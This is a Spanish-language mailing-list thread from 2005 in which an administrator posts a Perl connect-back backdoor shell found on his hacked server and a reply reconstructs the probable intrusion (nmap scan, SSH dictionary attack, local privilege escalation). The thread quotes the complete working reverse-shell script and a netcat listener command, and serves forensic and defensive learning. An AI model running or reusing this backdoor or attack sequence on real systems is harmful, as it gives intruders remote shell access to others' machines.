Bueno, primero que todo mi sentido pesame por tu servidor
espero que renasca de las cenizas y sea mejor que antes :)
ok, iniciemos, voy a plantear una posibilidad de lo que sucedio
en tu servidor.
el atacante lo primero que realizo fue un scaneo de puertos
desde alguna maquina remota que tal vez ya estaba comprometida
o que tal vez era su maquina real o un proxy... no sabemos
miro los puertos
nmap -sS -sV -O -v -P0 tuip
con esto consiguio pasarte por encima de tu firewall si lo tenias y obtener
una lista de los puertos abiertos de tu servidor junto con
las versiones de los demonios que ellos corrian.
ya teniendo esto y observando que tenias el ftp y sshd abiertos
la tarea que le sigue es buscar en la pagina en internet o en google
buscando correos electronicos por ejemplo [EMAIL PROTECTED]
...bueno, teniendo estas cuentas y siendo obtimistas de que
en tu servidor creaste usuarios reales en el sistema y no
en una base de datos y que a ellos le colocaste en la shell /bin/bash
en vez de de /bin/false... el atacante inicia en la busqueda de un exploit
para tus demonios, si no lo encuentra entonces iniciara un
ataque de diccionario sobre tus servicios, creo que inicio por
el sshd... suponiendo que despues de varias horas de intentar
obtuvo una entrada a tu sistema por medio de un usuariohttp://www.google.com.co/
con una muy mala contraseña... luego el atacante ya tiene una shell
e inicia en la busqueda de errores internos en busqueda de una
escalada de privilegios, puede buscar programas con SUID o detenerse
y observar en securityfocus.com cientos de errores de seguridad
que puede contener tu sistema.
Suponiendo de despues de varias horas escaneando tu sistema por dentro
y teniendo un exploit local consiguio acceso al root... despues de este punto
tu maquina ya esta perdida y no hace falta imaginarnos que podria hacer
con este poder!!!
El script en perl que nombras es muy sencillo.
el recive dos parametros que son los siguiente el nombre del host y su ip
envia una peticion a dicho puerto de el nombre de la maquina y una shell
claro que este script no funciona para nada si antes inicialisaste un puerto
con shell... me explico: esto se haria por ejemplo con netcat, este permite
crear un demonio que escuche determonado puerto y que cuando el se conecte
le sirva un determinado archivo, ejemplo /bin/sh
entonces el atacante ejecuta el guion en perl para conectarse a otra maquina objetivo
conclusion: utiliso tu maquina como puente para atacar otras redes.
claro que podria suponer que es muy novato o un scriptkid ya que destruyo
tu sistema... yo permaneceria con una cuenta privilegiada en tu sistema :)
Bueno, creo que eso es todo por el momento... si seme ocurre algomas estare escribiendo
Saludos.
El día 10/06/05, Nelson <[EMAIL PROTECTED]> escribió:
Hola me dirijo a ustedes ya que necesito intentar rehacer una escena del
crimen contra un servidor que fue hackeado :-(
en primera instancia puedo creer que el ataque fue hecho via web ya que
la maquina en si.. no tiene contacto fisico alguno con el exterior a
escepcion de http(apache) ftp(pure-ftpd con usuarios virtuales en
chroot).
el sintoma fue claro.. de un 2 por 3 se calleron los servicios de web
bases de datos ssh y el equipo se colgo..
fue una gran sorpresa al darme cuenta que cuando inicie la makina en
modo rescate /var estaba vacio practicamente piendo en un rm
-rf /var :-(... por ende.. no tengo logs para buscar algun tipo de
atake.. pero buscando en /tmp encontre algo interezante un archivo
llamado _conex.pl_
cuyo contenido muestro aqui.
----------C O D E-------------
#!/usr/bin/perl
# Remote Connect-Back Backdoor Shell v1.0.
# (c)AresU 2004
# 1ndonesia Security Team (1st)
# AresU[at]bosen.net
# Usage:
# 1) Listen port to received shell prompt using NetCat on your toolbox,
for example: nc -l -p 9000
# 2) Remote Command Execution your BackDoor Shell, for example: perl
connect.pl <iptoolbox> <ncportlisten>
# --------
# The supplied exploit code is not to be used for malicious purpose, but
for educational purpose only. The Authors and 1ndonesian Security Team
WILL NOT responsible for anything happened by the couse of using all
information on these website.
# ---------
use Socket;
$pamer="(c)AresU Connect-Back Backdoor Shell v1.0\n1ndonesia Security
Team (1st)\n\n";
$cmd= "lpd";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
print STDOUT $pamer;
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
----------F I N C O D E-------------
y me dije que diablos !!!...
entonces.. me decidi a preguntar a la lista por si alguien mas o menos
entiende este script o podria decir como funciona.. para tomar
precauciones en la proxima reinstalacion del servidor. y asi protejer
mejor los servicios. y claro esta.. asi todos aprendemos un poquito
mas de seguridad que es tan importante.
Ojala alguien pueda acalrar un poco mi Duda y asi poder entregar un
informe claro y Tecnico de lo sucedido aqui.
Atentamente
Nelson Lopez.
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]